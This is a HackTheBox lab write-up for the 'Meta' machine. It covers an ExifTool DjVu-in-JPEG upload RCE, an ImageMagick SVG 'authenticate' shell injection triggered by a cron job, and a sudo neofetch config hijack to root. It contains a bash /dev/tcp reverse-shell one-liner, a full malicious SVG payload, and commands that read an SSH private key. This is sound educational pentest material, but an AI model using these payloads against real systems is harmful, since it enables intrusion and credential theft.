HTB: Meta Writeup

Meta - HackTheBox Writeup

Machine Information

AttributeDetails
NameMeta
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.129.43.189
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Meta is built around a real-world content-processing supply chain: a marketing site (artcorp.htb) fronts a development subdomain (dev01.artcorp.htb) hosting MetaView, an internal tool that reads image metadata via ExifTool. That single feature — parsing attacker-controlled image files — is the entire attack surface. A crafted DjVu-in-JPEG file triggers CVE-2021-22204 in ExifTool for code execution as www-data, a periodic ImageMagick conversion job then triggers CVE-2020-29599 (SVG “authenticate” shell injection in mogrify) to pivot to the user thomas, and a sudoers env_keep misconfiguration around neofetch closes the loop to root.

TL;DR: vhost enum → dev01.artcorp.htb/metaview → malicious DjVu/JPEG → ExifTool RCE (CVE-2021-22204) as www-data → cron-driven mogrify on convert_images/ → malicious SVG → ImageMagick RCE (CVE-2020-29599) as thomassudo neofetch "" with XDG_CONFIG_HOME preserved → root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP scan first to avoid missing anything outside the top-1000
nmap -p- --min-rate=1000 -T4 10.129.43.189 -oG - | grep -oP '\d+(?=/open)'
# Targeted service/version scan against discovered ports
nmap -sC -sV -p22,80 10.129.43.189

Results:

  • 22/tcp — OpenSSH
  • 80/tcp — Apache, redirects straight to a virtual host: artcorp.htb

Service Enumeration

Adding the redirect target to /etc/hosts exposes ArtCorp’s marketing landing page — nothing actionable there directly, so the next step is finding sibling vhosts:

Terminal window
echo "10.129.43.189 artcorp.htb" | sudo tee -a /etc/hosts
# vhost fuzz against the Host header to surface hidden subdomains
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://artcorp.htb -H "Host: FUZZ.artcorp.htb" -fs <baseline_size>

This turns up dev01.artcorp.htb, which is added to /etc/hosts the same way. Browsing it leads to MetaView — an internal tool that accepts an uploaded image and displays its embedded metadata. That behavior is the tell: metadata extraction from arbitrary uploaded files is almost always backed by ExifTool.

Vulnerability Assessment

  • MetaView’s metadata-parsing feature is a strong indicator of ExifTool on the backend.
  • Uploaded files are attacker-controlled input reaching a native metadata parser — the classic precondition for CVE-2021-22204 (ExifTool ≤ 12.23 DjVu ANT-chunk arbitrary Perl code execution).

Initial Foothold

Exploitation Path — CVE-2021-22204 (ExifTool RCE)

ExifTool’s DjVu module evaluates certain metadata fields as Perl during parsing. By embedding a malicious DjVu annotation chunk inside a container that also validates as a JPEG, an uploaded “image” can smuggle arbitrary Perl — and, from Perl, a shell — straight through the metadata reader.

Terminal window
# Working from the shared jump box; /tmp was reported 100% full,
# so all staging happened in /dev/shm instead
cd /dev/shm
# djvulibre provides djvumake/bzz needed to build the malicious DjVu container
apt-get install -y djvulibre-bin # installed under /dev/shm-scoped env, not /tmp
# Clone the public PoC that automates the DjVu-in-JPEG construction
git clone https://github.com/convisolabs/CVE-2021-22204-exiftool
cd CVE-2021-22204-exiftool

The exploit sets the attacker IP/port for a Perl reverse shell, then uses djvumake to build a DjVu file whose ANT annotation chunk contains the payload, bzz to compress it, and stitches the result behind a valid JPEG header so ExifTool’s format sniffing accepts it as an image while still parsing the embedded DjVu metadata.

Terminal window
# Netcat listener — 9999/9001/8888/5555 were already claimed by other
# concurrent engagements on the shared jump box, so a free port was used
nc -lnvp 9090
# Generate the malicious JPEG (embeds the DjVu ANT payload + reverse shell)
python3 exploit.py

Uploading the generated image.jpg to MetaView’s upload form (posted to index.php) triggers ExifTool’s metadata read server-side. The crafted DjVu annotation is evaluated, the embedded Perl reverse shell fires, and a connection lands on the nc listener as www-data.

Terminal window
# Stabilize the shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z, then:
stty raw -echo; fg

Why it works: ExifTool’s DjVu parser trusts fields inside the ANT chunk enough to pass them through Perl’s eval/string-interpolation machinery. Wrapping that chunk inside a file that still parses as a valid JPEG lets it slip past any naive “is this an image” check on the upload form, while ExifTool’s own format detection still routes it to the vulnerable DjVu code path.


Privilege Escalation

www-data → thomas (CVE-2020-29599, ImageMagick shell injection)

As www-data, enumeration turned up a scheduled job running mogrify as thomas over an application directory:

Terminal window
# Confirmed via the target's cron/job config
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.*

The installed ImageMagick (mogrify v7.0.10-36) is vulnerable to CVE-2020-29599: a shell command injection reachable through the authenticate attribute of an <image> tag inside an SVG, which ImageMagick’s MSL (Magick Scripting Language) coder passes unsanitized to a shell when the file is processed.

Terminal window
# Base64-encode the reverse-shell one-liner to survive quoting inside the SVG payload
echo "/bin/bash -c '/bin/bash -i &>/dev/tcp/<jump_box_ip>/9002 0>&1'" | base64 -w0
<!-- rce.svg — dropped into convert_images/ ahead of the next cron tick -->
<image authenticate='ff" `echo <BASE64_PAYLOAD>|base64 -d|bash`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:rce.svg" height="100" width="100"/>
</svg>
</image>
Terminal window
# Second listener — kept separate from the foothold port
nc -lnvp 9002

When the periodic job runs mogrify -format png *.* against convert_images/, ImageMagick’s SVG handling breaks out of the authenticate attribute’s quoting and executes the injected shell command as thomas, delivering a reverse shell to the 9002 listener.

Why it works: ImageMagick’s authenticate parameter is meant to hold a passphrase string, but the MSL/SVG delegate builds a shell command using that value without proper escaping. Closing the quote early and chaining a backtick command substitution turns the “passphrase” field into arbitrary command execution, run with whatever privilege the cron job has.

From this shell:

Terminal window
cat /home/thomas/user.txt # user flag
cat /home/thomas/.ssh/id_rsa # private key for stable SSH access

The recovered key gives clean SSH access as thomas for the rest of the escalation:

Terminal window
ssh -i id_rsa thomas@10.129.43.189

thomas → root (sudo env_keep + neofetch config injection)

Terminal window
sudo -l
User thomas may run the following commands on meta:
(root) NOPASSWD: /usr/bin/neofetch ""

Two details matter here. First, XDG_CONFIG_HOME is preserved (env_keep) across the sudo invocation instead of being reset, so sudo will happily hand neofetch a config directory that thomas fully controls. Second, the sudoers rule pins the exact argument list to the literal two-character empty-string argument (neofetch "") — running bare sudo neofetch does not match the rule and gets denied; the empty-quoted argument has to be reproduced verbatim.

neofetch looks for its config under ${XDG_CONFIG_HOME}/neofetch/config.conf, and its print_info() function can be overridden entirely, with prin supporting command substitution.

Terminal window
mkdir -p /tmp/.myconfig/neofetch
cat > /tmp/.myconfig/neofetch/config.conf <<'EOF'
print_info() {
prin "$(cat /root/root.txt; /bin/bash -p)"
}
EOF
# Reproduce the exact literal argument required by the sudoers rule
XDG_CONFIG_HOME=/tmp/.myconfig sudo neofetch ""

Because XDG_CONFIG_HOME survives the sudo boundary, neofetch sources the attacker-controlled config.conf as root and calls the overridden print_info(), which prints the root flag and drops an interactive root shell.

Why it works: allowing an unprivileged user to run a whitelisted “harmless” binary via sudo is only as safe as that binary’s handling of environment input. neofetch was never designed to run as root, and preserving XDG_CONFIG_HOME lets thomas supply the entire execution logic that sudo neofetch runs — the binary itself becomes an arbitrary-command-as-root primitive.


Attack Chain Summary

nmap (22, 80) → vhost fuzz → dev01.artcorp.htb/metaview
→ CVE-2021-22204: malicious DjVu-in-JPEG upload → ExifTool RCE → www-data
→ cron: mogrify -format png *.* on convert_images/
→ CVE-2020-29599: rce.svg (authenticate attribute injection) → thomas
→ user.txt + id_rsa → stable SSH as thomas
→ sudo -l: neofetch "" NOPASSWD, XDG_CONFIG_HOME env_keep
→ malicious print_info() in /tmp config → root

Tools Used

ToolPurpose
nmapPort scanning and service identification
ffufVirtual host (Host-header) fuzzing to find dev01.artcorp.htb
djvulibre (djvumake, bzz)Constructing the malicious DjVu annotation chunk
convisolabs/CVE-2021-22204-exiftoolPublic PoC automating the DjVu-in-JPEG ExifTool exploit
nc (netcat)Catching reverse shells from both RCE stages
ImageMagick mogrify (target-side, v7.0.10-36)Vulnerable image-processing binary run by cron as thomas
base64Encoding the shell payload embedded in rce.svg
sshStable access as thomas via recovered id_rsa
sudo -lEnumerating the neofetch NOPASSWD/env_keep misconfiguration

Key Learnings

Techniques Practiced

  • Virtual-host discovery via Host-header fuzzing
  • Exploiting CVE-2021-22204 (ExifTool DjVu ANT-chunk Perl code execution) through a dual-format DjVu-in-JPEG upload
  • Exploiting CVE-2020-29599 (ImageMagick authenticate attribute shell injection) via a scheduled mogrify job
  • Abusing sudo’s env_keep for XDG_CONFIG_HOME to hijack neofetch’s config sourcing for root code execution
  • Working around shared/contended infrastructure (busy ports, full /tmp) mid-engagement

Lessons Learned

  1. Any feature that parses uploaded file metadata is effectively handing attacker-controlled bytes to a native parser (ExifTool) — treat it as a code-execution surface, not just a display feature.
  2. Scheduled image-conversion jobs (mogrify/convert via cron) are a recurring lateral-movement vector when ImageMagick’s policy.xml doesn’t disable the vulnerable SVG/MSL coders.
  3. sudo’s env_keep list can turn an apparently harmless whitelisted binary into a root shell the moment that binary reads a user-controlled config path — the risk lives in the preserved environment variable, not the binary name.
  4. sudoers argument matching is literal: a rule scoped to neofetch "" only matches that exact invocation, not a bare sudo neofetch — always check sudo -l output character-for-character before assuming a command is blocked.
  5. On shared/multi-tenant attack infrastructure, check for pre-existing listeners before picking a callback port, and keep a fallback staging directory (/dev/shm) ready in case /tmp is unusable.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References